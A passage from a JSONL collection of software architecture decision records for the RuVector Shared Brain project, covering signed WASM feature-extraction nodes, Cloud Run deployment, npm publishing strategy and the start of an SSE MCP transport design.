/v1/nodes/{id}/{version}/node.wasm`)\n3. Client computes SHA-256 of WASM bytes, compares to `wasm_sha256` in metadata\n4. Client reconstructs manifest bytes from metadata fields\n5. Client verifies Ed25519 signature over manifest bytes\n6. Client runs conformance test vectors (Section 5)\n7. If all pass: instantiate and use. If any fail: reject.\n\n## 5. Conformance Test Vectors\n\nConformance test vectors are first-class policy, not optional documentation.\n\n### 5.1 Test Vector Format\n\nEvery node's metadata includes a `conformance` object:\n\n```json\n{\n \"abi_version\": 1,\n \"dim\": 128,\n \"test_vectors\": [\n {\n \"input\": \"deadlock tokio spawn rwlock\",\n \"expected_output_sha256\": \"a1b2c3d4...\"\n },\n {\n \"input\": \"\",\n \"expected_output_sha256\": \"e5f6a7b8...\"\n },\n {\n \"input\": \"\u65e5\u672c\u8a9e\u30c6\u30b9\u30c8 Unicode edge case\",\n \"expected_output_sha256\": \"c9d0e1f2...\"\n }\n ]\n}\n```\n\n**20 mandatory test vectors** including:\n- Empty string\n- Single character\n- ASCII only\n- Unicode (CJK, emoji, combining characters, RTL)\n- Maximum length (8KB)\n- Repeated tokens\n- Whitespace-only\n- Mixed case sensitivity test pairs\n\n### 5.2 Verification Method\n\nFor each test vector:\n1. Run `feature_extract` with the input text\n2. Read the output f32 vector as raw bytes (little-endian)\n3. Compute SHA-256 of the raw output bytes\n4. Compare to `expected_output_sha256`\n\n**Output byte hash, not float comparison.** Float printing can hide differences. Raw byte SHA-256 catches any bit-level divergence.\n\n### 5.3 Runtime Self-Test\n\nEvery runtime (browser, server, appliance) runs all conformance vectors on first load of a node. If any vector fails, the node is rejected and not used. The server logs conformance failures as security events.\n\n## 6. Endpoints\n\n### 6.1 Node Registry\n\n| Method | Path | Purpose | Auth |\n|--------|------|---------|------|\n| GET | `/v1/nodes` | List available nodes | Public |\n| GET | `/v1/nodes/{id}/{version}` | Get node metadata + conformance vectors | Public |\n| GET | `/v1/nodes/{id}/{version}/node.wasm` | Download WASM binary | Public |\n| POST | `/v1/nodes` | Publish a new node | Identity + Reputation >= 0.5 |\n| DELETE | `/v1/nodes/{id}/{version}` | Revoke a node (original publisher only) | Identity |\n\n### 6.2 Version Resolution\n\nThere is no `GET /v1/nodes/{id}.wasm` (no implicit \"latest\"). Clients must specify both `id` and `version`. This prevents supply-chain attacks where a compromised node replaces a trusted version.\n\nThe `GET /v1/nodes` listing includes all versions of all nodes. Clients filter by `id` and select the desired version.\n\n### 6.3 Response Headers\n\n**GET /v1/nodes/{id}/{version}/node.wasm**:\n- `Content-Type: application/wasm`\n- `Cache-Control: public, immutable, max-age=31536000`\n- `X-Node-SHA256: {hex-encoded SHA-256 of WASM bytes}`\n\nImmutable caching is safe because the version is in the path. New versions get new paths.\n\n### 6.4 Revocation\n\n`DELETE /v1/nodes/{id}/{version}` marks a node as revoked:\n- Only the original publisher can revoke\n- Revocation writes an audit record to the witness chain\n- WASM bytes remain in storage (for forensic analysis), but the registry stops serving the node\n- `GET /v1/nodes/{id}/{version}` returns 410 Gone with a revocation reason\n- `GET /v1/nodes/{id}/{version}/node.wasm` returns 410 Gone\n\n### 6.5 Content-Addressed Storage\n\nGCS stores WASM binaries by content hash, not by ID:\n\n```\ngs://ruvector-brain-{region}/nodes/sha256/{hash}.wasm\n```\n\nThe registry maps `(id, version)` \u2192 `hash`. Multiple nodes referencing the same bytecode share storage. This makes bytes immutable at the storage layer \u2014 the registry controls visibility, not the blob store.\n\n## 7. Integration with Shared Brain\n\n### 7.1 Embedding Pipeline in Browser\n\nThe clean split for browser-side semantic search:\n\n1. **WASM node** (`sona_feature/1.0.0`): runs `feature_extract()` to produce structured hash features (128-dim f32 vector)\n2. **Brain API** (`GET /v1/lora/latest`): browser fetches current MicroLoRA weights (2KB JSON)\n3. **JS or second WASM node**: applies MicroLoRA transform `output = L2_norm(features + scale * (features @ down) @ up)`\n4. **Brain API** (`GET /v1/memories/search`): browser sends the transformed embedding for server-side ranked search\n\nThis gives semantic retrieval in the browser with no heavy model download.\n\n### 7.2 Brainpedia Integration\n\nBrainpedia pages (ADR-062) can reference WASM nodes:\n- A debug page can link to a `feature_extract` node for domain-specific embedding\n- Evidence links can include deterministic WASM validation results\n- Pages declare which node version they were indexed with for reproducibility\n\n### 7.3 Appliance Mode\n\nEdge appliances run the same WASM nodes as the browser and server:\n\n1. Load node from local cache or `GET /v1/nodes/{id}/{version}/node.wasm`\n2. Run conformance self-test (Section 5.3)\n3. Load MicroLoRA weights from local cache or `GET /v1/lora/latest`\n4. Run locally: `feature_extract()` \u2192 LoRA transform \u2192 L2 normalize\n5. Search: send embedding to brain, or search local cache\n\nOffline: steps 1-4 use cached artifacts. Step 5 searches local cache only.\n\n## 8. Runtime Selection\n\n| Environment | Runtime | Resource Control | Isolation |\n|-------------|---------|-----------------|-----------|\n| Browser | `WebAssembly.instantiate` in Worker | 25ms wall clock + 8KB input cap | Worker sandbox, no imports |\n| Server | wasmtime 18+ | Fuel (~25ms ref CPU) + 16 page memory | No imports, epoch interruption |\n| Appliance | wasmtime 18+ | Fuel (~25ms ref CPU) + 16 page memory | No imports, fuel metering |\n| Test | wasmtime | Fuel + conformance vector check | No imports |\n\nAll environments produce bit-identical results for the same input and node SHA, verified by output byte hash comparison (Section 5.2).\n\n## 9. Security Summary\n\n### 9.1 Module Validation at Publish Time\n\n1. WASM binary is parsed and validated (valid WASM module)\n2. Import section must be empty (no imports of any kind)\n3. Memory must declare a maximum <= 16 pages\n4. No SIMD instructions (module inspection)\n5. No f64 usage (module inspection)\n6. Required exports present: `memory`, `malloc`, `feature_extract_dim`, `feature_extract`\n7. Ed25519 signature verified over canonical binary manifest\n8. SHA-256 computed and stored\n9. All conformance test vectors pass on server-side wasmtime\n10. Contributor reputation >= 0.5\n11. Size <= 1MB\n\n### 9.2 Client-Side Verification\n\n1. SHA-256 hash match (WASM bytes vs metadata)\n2. Ed25519 signature verification (canonical manifest)\n3. Conformance test vectors pass locally\n4. Only then: instantiate module\n\n## 10. Implementation Status\n\n### Shipped (in this branch)\n\n| Component | Status |\n|-----------|--------|\n| `WasmNode` types in server | Shipped |\n| `GET /v1/nodes` list endpoint | Shipped |\n| `GET /v1/nodes/{id}` metadata endpoint | Shipped |\n| `GET /v1/nodes/{id}.wasm` binary endpoint | Shipped |\n| `POST /v1/nodes` publish endpoint | Shipped |\n| Node storage in `FirestoreClient` | Shipped |\n\n### Deferred (Future Work)\n\n| Component | Priority | Dependency |\n|-----------|----------|------------|\n| Versioned URL scheme (`/v1/nodes/{id}/{version}/...`) | High | Route refactor |\n| `DELETE /v1/nodes/{id}/{version}` revocation | High | Audit logging |\n| Module inspection (SIMD/f64 detection) | High | WASM parser |\n| Canonical binary manifest signing | High | Manifest encoder |\n| Conformance test vector validation | High | Reference node |\n| Content-addressed GCS storage | Medium | GCS integration |\n| `sona_feature` v1 reference node | High | WASM compilation |\n| Browser demo HTML | Medium | Reference node |\n| Worker isolation wrapper | Medium | Browser demo |\n| wasmtime server-side runner | Medium | Server integration |\n| MCP tools (`brain_node_list`, `brain_node_get`) | Low | All endpoints |\n\n## 11. Answers to Design Questions\n\n**Q: Do you want these WASM nodes to run in browser only, or also on the appliance and server with the same bytecode?**\n\nA: All three. Browser, appliance, and server execute the same WASM bytecode with bit-identical results, verified by output byte hash comparison across environments.\n\n**Q: Should nodes be public read like memory search, or should node download be gated because it encodes proprietary heuristics?**\n\nA: Public read. The proprietary value is in the MicroLoRA weights (learned from quality signals via federation), not in the deterministic feature extraction logic. Gating node download would kill the browser demo path for zero competitive benefit.\n\n**Q: Do you want the v1 node ABI to support only feature_extract, or do you want score and validate in v1 as well?**\n\nA: `feature_extract` only for v1. One function, one ABI, one determinism proof. `score` and `validate` are v2 after the cross-platform guarantee is proven on the simpler interface.\n\n**Q: Should nodes be allowed to include a tiny embedded lookup table, or must they be pure hashing with no internal data beyond constants?**\n\nA: Lookup tables are allowed. Token maps, n-gram tables, and normalization tables compiled into the WASM data section are fine \u2014 the data section is part of the signed bytecode and is immutable at runtime. This is necessary for practical feature extraction.\n\n## 12. Acceptance Criteria\n\n### Deterministic Cross-Platform Verification\n\n- Pick 20 canonical inputs (including Unicode edge cases, empty string, max length)\n- Store expected output SHA-256 values in node metadata `conformance.test_vectors`\n- Browser demo shows green for all 20 vectors\n- Server and appliance startup self-tests pass the same 20 vectors\n- Compare output **byte hashes** (SHA-256 of raw f32 bytes), not float arrays\n- p95 execution under 25ms for 128-dim output on all three environments\n\n### Integration\n\n- Browser produces embedding via WASM `feature_extract` + JS MicroLoRA transform\n- Browser embedding and server-produced embedding match **byte for byte** given the same node SHA and the same LoRA epoch\n- `brain_search` returns identical top-5 results for browser-produced vs server-produced embeddings\n\n### Security\n\n- Module with non-empty import section: rejected at publish time\n- Module without memory maximum: rejected at publish time\n- Module with SIMD or f64: rejected at publish time (when module inspection is implemented)\n- Module exceeding 1MB: rejected at publish time\n- Module without valid Ed25519 signature: rejected by client\n- Conformance vector failure: node rejected at runtime\n- Revoked node: returns 410 Gone\n\n## 13. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-058 | Hash Security Optimization \u2014 the feature extraction algorithm nodes implement |\n| ADR-059 | Shared Brain Google Cloud \u2014 infrastructure serving node binaries |\n| ADR-060 | Shared Brain Capabilities \u2014 MicroLoRA weights that complement WASM features |\n| ADR-062 | Brainpedia Architecture \u2014 pages can reference WASM nodes for validation |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-063-wasm-executable-nodes.md", "created_at": "2026-03-28T11:58:49.704473+00:00", "content_hash": "0183eb65314d16a7d62b2adf2e15a8f87f472c06ad7cfdeeca7856bc0a81d57b"} +{"id": "556e45aa-50e3-49b0-a380-1f8e5ec65125", "source": "adr", "text": "# ADR-064: Pi Brain Infrastructure & Landing Page\n\n**Status**: Accepted, Deployed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-066 (SSE MCP Transport)\n\n## 1. Context\n\nThe Shared Brain (ADR-059, ADR-060) requires a production deployment surface that is both functional (serving REST and MCP endpoints) and discoverable (a public-facing landing page that communicates what the brain is). A bare API with no human-readable entry point creates adoption friction. Developers who visit the domain should immediately understand the system and how to connect.\n\nGoogle Cloud Run provides a serverless container platform with automatic TLS, scaling to zero, and custom domain mapping. Custom domains (pi.ruv.io, the Unicode variant) make the brain addressable under a memorable, branded namespace. A landing page with a Three.js visualization gives the project a distinctive identity rooted in the Foundation (Asimov) sci-fi aesthetic.\n\n## 2. Decision\n\nDeploy `mcp-brain-server` as a Cloud Run service (`ruvbrain`) in `us-central1`. Map custom domains through Google Cloud's domain verification and Cloudflare DNS. Embed static HTML landing pages at compile time using `include_str!` so the binary is fully self-contained with no runtime file I/O for static content.\n\n## 3. Architecture\n\n### 3.1 Cloud Run Service\n\n| Property | Value |\n|----------|-------|\n| Service name | `ruvbrain` |\n| Region | `us-central1` |\n| Image | Multi-stage Dockerfile: `rust:1.85-bookworm` builder, `debian:bookworm-slim` runtime |\n| Port | 8080 (configured via `PORT` env var) |\n| Scaling | 0-10 instances, 2 CPU / 2Gi RAM per instance |\n| Concurrency | Default (80 requests per instance) |\n| Startup | `mcp-brain-server` binary, tracing to stderr |\n\nThe Dockerfile uses a two-stage build. The builder stage compiles the full workspace with `cargo build --release -p mcp-brain-server`. The runtime stage copies only the binary and installs `ca-certificates` for HTTPS outbound calls to Firestore and GCS.\n\n### 3.2 Custom Domains\n\n| Domain | Type | Target |\n|--------|------|--------|\n| `pi.ruv.io` | CNAME | `ghs.googlehosted.com` |\n| `xn--1xa.ruv.io` (pi.ruv.io) | CNAME | `ghs.googlehosted.com` |\n\nDNS is managed through Cloudflare. The CNAME records point to Google's hosted services endpoint, which handles TLS termination and routes to the Cloud Run service. Google Cloud domain mapping verifies ownership and provisions managed TLS certificates automatically.\n\n### 3.3 Persistence Layer\n\n**Firestore**: Stores brain memories, page metadata, WASM node metadata, contributor reputations, and LoRA federation state. The `FirestoreClient` hydrates an in-memory cache on startup via `load_from_firestore()`. Writes are dual-written to both local cache and Firestore. When `FIRESTORE_URL` is not set, the server operates in local-only mode for development.\n\n**Google Cloud Storage (GCS)**: Stores RVF containers and WASM node binaries. Content-addressed storage for WASM nodes uses `gs://ruvector-brain-{region}/nodes/sha256/{hash}.wasm`. The `GcsClient` handles uploads and signed URL generation.\n\n### 3.4 Landing Page\n\nThe root route (`/`) serves a Three.js Prime Radiant visualization. The page renders an interactive 3D particle system representing the brain's knowledge topology. The aesthetic follows a Foundation (Asimov) sci-fi theme: dark background, blue-white particle fields, Encyclopedia Galactica typography.\n\nImplementation: `include_str!(\"../static/index.html\")` embeds the HTML at compile time. The handler returns the static content with `Content-Type: text/html; charset=utf-8` and `Cache-Control: public, max-age=300`. No runtime filesystem access required.\n\n### 3.5 Origin Story\n\nThe `/origin` route serves an animated narrative page explaining the brain's purpose and design philosophy. Same embed pattern: `include_str!(\"../static/origin.html\")`. Same cache headers.\n\n### 3.6 Static Embed Pattern\n\n```rust\nasync fn landing_page() -> (StatusCode, [(HeaderName, &'static str); 2], &'static str) {\n (\n StatusCode::OK,\n [\n (CONTENT_TYPE, \"text/html; charset=utf-8\"),\n (CACHE_CONTROL, \"public, max-age=300\"),\n ],\n include_str!(\"../static/index.html\"),\n )\n}\n```\n\nThis pattern has three advantages:\n1. **Zero runtime I/O**: No file reads, no path resolution, no directory traversal risk\n2. **Single binary deployment**: The container image contains one executable with no static file dependencies\n3. **Compile-time verification**: If the HTML file is missing, the build fails immediately\n\n## 4. Implementation\n\n### 4.1 Router Structure\n\nThe `create_router()` function in `routes.rs` constructs the full axum Router:\n\n```rust\nRouter::new()\n .route(\"/\", get(landing_page))\n .route(\"/origin\", get(origin_page))\n .route(\"/v1/health\", get(health))\n // ... 14 REST endpoints (ADR-060)\n // ... 6 Brainpedia endpoints (ADR-062)\n // ... 5 WASM node endpoints (ADR-063)\n .route(\"/sse\", get(sse_handler))\n .route(\"/messages\", post(messages_handler))\n .layer(CorsLayer::new()\n .allow_origin([\n \"https://brain.ruv.io\",\n \"https://pi.ruv.io\",\n \"https://ruvbrain-875130704813.us-central1.run.app\",\n \"http://localhost:8080\",\n \"http://127.0.0.1:8080\",\n ]))\n .layer(TraceLayer::new_for_http())\n .layer(RequestBodyLimitLayer::new(1_048_576)) // 1MB\n```\n\n### 4.2 Health Endpoint\n\n`GET /v1/health` reports service identity, version, uptime, and persistence mode:\n\n```json\n{\n \"status\": \"ok\",\n \"version\": \"0.1.0\",\n \"domain\": \"pi.ruv.io\",\n \"uptime_seconds\": 3600,\n \"persistence_mode\": \"firestore\"\n}\n```\n\n### 4.3 Application State\n\nThe `AppState` struct holds all shared service state:\n\n| Field | Type | Purpose |\n|-------|------|---------|\n| `store` | `Arc` | Memory and page persistence |\n| `gcs` | `Arc` | Binary artifact storage |\n| `graph` | `Arc>` | Mincut topology graph |\n| `rate_limiter` | `Arc` | BudgetTokenBucket rate limiting |\n| `ranking` | `Arc>` | Search result ranking |\n| `cognitive` | `Arc>` | DentateGyrus pattern separation |\n| `drift` | `Arc>` | Embedding centroid drift tracking |\n| `aggregator` | `Arc` | LoRA weight aggregation |\n| `domain_engine` | `Arc>` | Cross-domain transfer |\n| `sona` | `Arc>` | Embedding feature extraction |\n| `lora_federation` | `Arc>` | Federated LoRA state |\n| `nonce_store` | `Arc` | Challenge nonce replay protection |\n| `sessions` | `Arc>` | SSE session management |\n\n### 4.4 Deployment Flow\n\n1. Build container image from workspace root using the `crates/mcp-brain-server/Dockerfile`\n2. Push to Google Artifact Registry\n3. Deploy to Cloud Run with `gcloud run deploy ruvbrain`\n4. Map custom domains via Google Cloud Console\n5. Configure Cloudflare CNAME records pointing to `ghs.googlehosted.com`\n6. Verify TLS certificate provisioning\n\n### 4.5 Endpoint Summary\n\nThe deployed server exposes the following route groups:\n\n| Group | Routes | Source ADR |\n|-------|--------|-----------|\n| Landing pages | `/`, `/origin` | ADR-064 (this document) |\n| Infrastructure | `/v1/health`, `/v1/challenge` | ADR-059 |\n| Memories (CRUD) | `/v1/memories`, `/v1/memories/search`, `/v1/memories/list`, `/v1/memories/:id`, `/v1/memories/:id/vote` | ADR-060 |\n| Transfer & Monitoring | `/v1/transfer`, `/v1/drift`, `/v1/partition`, `/v1/status` | ADR-060 |\n| LoRA Federation | `/v1/lora/latest`, `/v1/lora/submit` | ADR-060 |\n| Training | `/v1/training/preferences` | ADR-061 |\n| Brainpedia | `/v1/pages`, `/v1/pages/:id`, `/v1/pages/:id/deltas`, `/v1/pages/:id/evidence`, `/v1/pages/:id/promote` | ADR-062 |\n| WASM Nodes | `/v1/nodes`, `/v1/nodes/:id`, `/v1/nodes/:id/wasm`, `/v1/nodes/:id/revoke` | ADR-063 |\n| MCP SSE | `/sse`, `/messages` | ADR-066 |\n\nTotal: 27 routes serving REST API, MCP SSE transport, and static HTML.\n\n### 4.6 Security Layers\n\nThe server applies the following security measures at the infrastructure level:\n\n1. **TLS termination**: Handled by Google Cloud Run / Cloudflare edge. The server itself listens on plain HTTP on port 8080.\n2. **CORS**: Explicit origin allowlist (5 origins). No wildcards.\n3. **Request body limit**: 1MB via tower-http `RequestBodyLimitLayer`. Prevents memory exhaustion from oversized payloads.\n4. **Rate limiting**: `BudgetTokenBucket` per contributor. 100 writes/hour, 1000 reads/hour. Stale buckets evicted every 1000 operations.\n5. **Challenge nonces**: Single-use, 5-minute TTL. Required for write operations.\n6. **PII stripping**: 12-pattern detection on all incoming text fields (filesystem paths, API keys, tokens, email patterns).\n7. **Embedding verification**: NaN, Inf, and magnitude checks on all incoming vectors.\n8. **Ed25519 signature verification**: For RVF container and WASM node integrity.\n9. **SHAKE-256 witness chains**: For provenance verification on all operations.\n\n### 4.7 Tracing and Observability\n\nThe server uses `tracing_subscriber` with `EnvFilter` for log level control. Logs are written to stderr (Cloud Run captures stderr as structured logs). The `TraceLayer` middleware logs HTTP request/response metadata including method, path, status code, and latency.\n\nThe health endpoint provides basic liveness/readiness signaling. Cloud Run uses this for automatic health checks and instance lifecycle management.\n\n## 5. Consequences\n\n### Positive\n\n- **Single binary deployment**: No static file serving complexity, no CDN configuration needed for the landing page\n- **Zero-cost at rest**: Cloud Run scales to zero when idle, no persistent infrastructure cost\n- **Branded access**: `pi.ruv.io` is memorable and communicates the mathematical/scientific identity\n- **Self-documenting**: Visiting the domain explains the system without needing external documentation\n- **Unified surface**: REST API, MCP SSE, and landing pages all served from the same binary on the same port\n\n### Negative\n\n- **HTML changes require recompilation**: Modifying the landing page or origin story requires a full cargo build and redeploy. This is acceptable because these pages change infrequently.\n- **Single region**: `us-central1` only. Multi-region would require Cloud Run service mesh or global load balancer. Deferred until latency becomes a concern.\n- **Cloud vendor lock-in**: Firestore and GCS are Google-specific. The `FirestoreClient` and `GcsClient` abstractions limit blast radius, but migration would require new storage implementations.\n\n### Neutral\n\n- CORS allows five specific origins. New frontends require a code change and redeploy.\n- Request body limit is 1MB globally. WASM node uploads are constrained to this limit, matching the ADR-063 spec.\n- The `read_only` flag on `AppState` enables emergency read-only mode without redeployment, controlled via an atomic boolean.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-064-pi-brain-infrastructure.md", "created_at": "2026-03-28T11:58:49.704598+00:00", "content_hash": "655e6df71193a7b7891d7613ae898cc36830365227edea5a827c3a7b34421071"} +{"id": "d52a1917-2d37-4f80-ace6-e0bbe09e8652", "source": "adr", "text": "# ADR-065: npm Publishing Strategy\n\n**Status**: Accepted\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-064 (Pi Brain Infrastructure), ADR-066 (SSE MCP Transport), ADR-063 (WASM Executable Nodes)\n\n## 1. Context\n\nThe RuVector project produces 48+ npm packages under the `@ruvector/` scope. These range from core TypeScript libraries and WASM bindings to MCP server wrappers and CLI tools. A new package, `@ruvector/pi-brain`, bundles CLI, SDK, and MCP stdio access to the Shared Brain into a single installable unit.\n\nWithout a defined publishing strategy, interdependent packages can break consumers if published in the wrong order, pre-release versions can leak into production, and TypeScript compilation errors can ship as broken packages. This ADR documents the publishing order, semver strategy, and authentication setup that govern all npm releases.\n\n## 2. Decision\n\nAdopt a structured publishing pipeline: categorize packages, enforce dependency-ordered publishing, use semver with pre-release tags for unstable packages, and require TypeScript compilation to succeed before any publish. All packages are published under the `ruvnet` npm account.\n\n## 3. Architecture\n\n### 3.1 Package Categories\n\n| Category | Description | Examples |\n|----------|-------------|---------|\n| **Core** | Foundational libraries with no RuVector dependencies | `@ruvector/types`, `@ruvector/utils` |\n| **WASM** | WebAssembly bindings compiled from Rust crates | `@ruvector/solver-wasm`, `@ruvector/rvf-wasm` |\n| **MCP** | Model Context Protocol server packages | `@ruvector/mcp-brain`, `@ruvector/mcp-gate` |\n| **CLI** | Command-line tools | `@ruvector/pi-brain`, `@ruvector/cli` |\n| **Infrastructure** | Build tools, codegen, testing utilities | `@ruvector/build-tools`, `@ruvector/test-utils` |\n\n### 3.2 The `@ruvector/pi-brain` Package\n\n`@ruvector/pi-brain` is the primary user-facing npm package for the Shared Brain. It provides three interfaces in one package:\n\n**CLI**: `npx @ruvector/pi-brain search \"tokio deadlock\"` \u2014 search the brain from the command line. `npx @ruvector/pi-brain share --category debug --title \"...\" --content \"...\"` \u2014 share knowledge.\n\n**SDK**: Programmatic TypeScript API for integrating brain capabilities into applications. Handles authentication, embedding, and the full REST API surface.\n\n**MCP stdio**: `@ruvector/pi-brain mcp` \u2014 starts a JSON-RPC stdio server implementing the MCP protocol. Claude Code connects via `claude mcp add pi-brain -- npx @ruvector/pi-brain mcp`.\n\n### 3.3 Publish Order\n\nPackages must be published in dependency order. A package can only be published after all of its `@ruvector/` dependencies have been published at the required version.\n\n**Tier 1 \u2014 No `@ruvector/` dependencies**:\n- `@ruvector/types`\n- `@ruvector/utils`\n- `@ruvector/build-tools`\n\n**Tier 2 \u2014 Depends on Tier 1 only**:\n- `@ruvector/solver-wasm` (depends on `@ruvector/types`)\n- `@ruvector/rvf-wasm` (depends on `@ruvector/types`)\n- `@ruvector/test-utils` (depends on `@ruvector/types`, `@ruvector/utils`)\n\n**Tier 3 \u2014 Depends on Tier 1 and/or Tier 2**:\n- `@ruvector/mcp-brain` (depends on `@ruvector/types`)\n- `@ruvector/mcp-gate` (depends on `@ruvector/types`)\n- `@ruvector/pi-brain` (depends on `@ruvector/types`, `@ruvector/mcp-brain`)\n\n**Tier 4 \u2014 Meta-packages and aggregators**:\n- `@ruvector/cli` (depends on multiple Tier 2-3 packages)\n\nWithin a tier, packages can be published in any order.\n\n### 3.4 Semver Strategy\n\n| Version Range | Meaning | Tag |\n|---------------|---------|-----|\n| `0.x.y` | Pre-1.0, breaking changes expected between minors | `latest` |\n| `x.y.z-alpha.N` | Active development, not for production | `alpha` |\n| `x.y.z-beta.N` | Feature-complete, testing in progress | `beta` |\n| `x.y.z-rc.N` | Release candidate, final validation | `rc` |\n| `x.y.z` | Stable release | `latest` |\n\nPre-release versions are published with explicit dist-tags:\n```bash\nnpm publish --tag alpha\nnpm publish --tag beta\n```\n\nThe `latest` tag is only set on stable releases. This prevents `npm install @ruvector/pi-brain` from pulling pre-release versions.\n\n### 3.5 TypeScript Compilation Requirements\n\nEvery package with TypeScript source must pass these checks before publish:\n\n1. `tsc --noEmit` succeeds with zero errors\n2. `tsc --declaration` generates `.d.ts` files\n3. `package.json` includes `types` or `typings` field pointing to the declaration entry point\n4. `exports` map includes `types` condition for each entry point\n\nPackages that fail TypeScript compilation are blocked from publishing. This is enforced by running `npm run build` (which includes `tsc`) as the first step of the publish pipeline.\n\n## 4. Implementation\n\n### 4.1 Authentication\n\nnpm authentication uses the `ruvnet` account. Credentials are stored in the project `.env` file and loaded into `~/.npmrc` before publishing. Verify with `npm whoami`.\n\nThe npm token is scoped to the `@ruvector/` scope with publish permissions. Read-only tokens are used in CI for install-only workflows.\n\n### 4.2 Pre-Publish Checklist\n\nFor each package:\n\n1. Verify `npm whoami` returns `ruvnet`\n2. Run `npm run build` (TypeScript compilation + any bundling)\n3. Run `npm test` (all tests must pass)\n4. Verify `package.json` version matches the intended release\n5. Check that `files` field in `package.json` includes only intended artifacts\n6. Run `npm pack --dry-run` to inspect the tarball contents\n7. Publish: `npm publish --access public`\n\n### 4.3 WASM Package Build\n\nWASM packages require a Rust compilation step before the npm publish:\n\n1. `cargo build --release --target wasm32-unknown-unknown -p `\n2. `wasm-bindgen` or `wasm-pack` generates the JS/TS bindings\n3. Copy generated files into the npm package directory\n4. Run TypeScript compilation on the wrapper code\n5. Publish as a standard npm package\n\n### 4.4 Solver Crate Publish Order (Cargo)\n\nFor the Rust solver crates published to crates.io (not npm), the order is:\n\n1. `ruvector-solver` first (no dependencies)\n2. `ruvector-solver-wasm` second (depends on `ruvector-solver`)\n3. `ruvector-solver-node` third (depends on `ruvector-solver`)\n\nAlways run `cargo publish --dry-run --allow-dirty` before real publish. `ruvector-profiler` has `publish = false` and is intentionally not publishable.\n\n### 4.5 Version Coordination\n\nWhen a breaking change occurs in a Tier 1 package, all dependent packages must be updated and republished. The procedure is:\n\n1. Publish the updated Tier 1 package with the new major/minor version\n2. Update `package.json` in all dependent packages to reference the new version\n3. Run `npm install` in each dependent package to verify resolution\n4. Run tests in each dependent package\n5. Publish dependent packages in tier order\n\nFor non-breaking changes (patch versions), only the changed package needs republishing. Dependents using caret ranges (`^x.y.z`) automatically resolve the new patch.\n\n### 4.6 Package.json Standards\n\nAll `@ruvector/` packages must include:\n\n```json\n{\n \"name\": \"@ruvector/\",\n \"version\": \"x.y.z\",\n \"license\": \"MIT OR Apache-2.0\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/ruvnet/ruvector\"\n },\n \"engines\": { \"node\": \">=18\" },\n \"type\": \"module\",\n \"main\": \"./dist/index.js\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.js\"\n }\n },\n \"files\": [\"dist/\", \"README.md\", \"LICENSE\"]\n}\n```\n\nThe `files` field is explicitly set to prevent accidental inclusion of source maps, test fixtures, `.env` files, or other development artifacts in the published tarball.\n\n### 4.7 CI Integration\n\nThe publish pipeline runs in GitHub Actions:\n\n1. **Trigger**: Manual workflow dispatch with package name and version as inputs\n2. **Auth**: npm token from GitHub Secrets, loaded into `~/.npmrc`\n3. **Build**: `npm run build` in the package directory\n4. **Test**: `npm test` in the package directory\n5. **Dry run**: `npm pack --dry-run` to verify tarball contents\n6. **Publish**: `npm publish --access public` (or `--tag alpha/beta` for pre-releases)\n7. **Verify**: `npm view @ruvector/ version` confirms the published version\n\nThe workflow rejects publishes if the version already exists on the registry (npm returns 403 for duplicate versions).\n\n## 5. Consequences\n\n### Positive\n\n- **No broken installs**: Dependency-ordered publishing ensures consumers never pull a package whose dependencies are not yet available\n- **Safe defaults**: Pre-release tags prevent accidental production use of unstable versions\n- **Type safety**: Mandatory TypeScript compilation catches type errors before they reach consumers\n- **Single account**: All packages under `ruvnet` with `@ruvector/` scope provides consistent ownership and discoverability\n- **Explicit file lists**: The `files` field prevents credential leaks and keeps tarballs small\n\n### Negative\n\n- **Manual coordination**: Publishing 48+ packages in order requires discipline. Automation (a publish script that resolves the dependency graph and publishes in topological order) is deferred but recommended.\n- **WASM build complexity**: WASM packages require both Rust and Node.js toolchains. Build failures in either chain block the publish.\n- **ESM-only**: All packages use `\"type\": \"module\"`. CommonJS consumers must use dynamic `import()` or a bundler. This is a deliberate choice \u2014 the ecosystem is moving to ESM and dual-packaging adds complexity.\n\n### Neutral\n\n- The `@ruvector/pi-brain` package combining CLI + SDK + MCP in one package increases the install size but simplifies the getting-started experience. Users who only need the SDK can tree-shake unused CLI code.\n- Node.js >= 18 is required. This matches the current LTS baseline and enables native `fetch`, `structuredClone`, and other modern APIs.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-065-npm-publishing-strategy.md", "created_at": "2026-03-28T11:58:49.704708+00:00", "content_hash": "055f1f4a4f78f87322628645fce9e10062c27edd98eb7e354972cf53424b75ca"} +{"id": "2b54460e-de64-44ea-84e2-0307bd62204e", "source": "adr", "text": "# ADR-066: SSE MCP Transport\n\n**Status**: Accepted, Deployed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-062 (Brainpedia), ADR-063 (WASM Executable Nodes), ADR-064 (Pi Brain Infrastructure)\n\n## 1. Context\n\nThe Shared Brain's primary MCP interface is stdio-based: the `mcp-brain` crate runs as a local process within a Claude Code session, communicating via JSON-RPC over stdin/stdout. This works well for local sessions but cannot serve remote clients \u2014 browsers, CI pipelines, or Claude Code sessions that want to connect without installing a local binary.\n\nMCP over Server-Sent Events (SSE) solves this. The client opens a long-lived `GET /sse` connection to receive server-pushed events, and sends tool calls via `POST /messages?sessionId=`. This is a standard MCP transport that Claude Code supports natively via `claude mcp add --url `.\n\nThe SSE transport is hosted on the same `mcp-brain-server` binary that serves the REST API (ADR-064), at `pi.ruv.io/sse`. No additional infrastructure is required.\n\n## 2. Decision\n\nImplement MCP SSE transport as two routes (`/sse` and `/messages`) on the existing `mcp-brain-server` axum router. Tool calls received via SSE are proxied to the REST API endpoints via HTTP loopback, reusing all existing authentication, rate limiting, and verification logic. Session state is managed via `DashMap>`.\n\n## 3. Architecture\n\n### 3.1 Protocol Flow\n\n```\nClient Server (pi.ruv.io)\n | |\n | 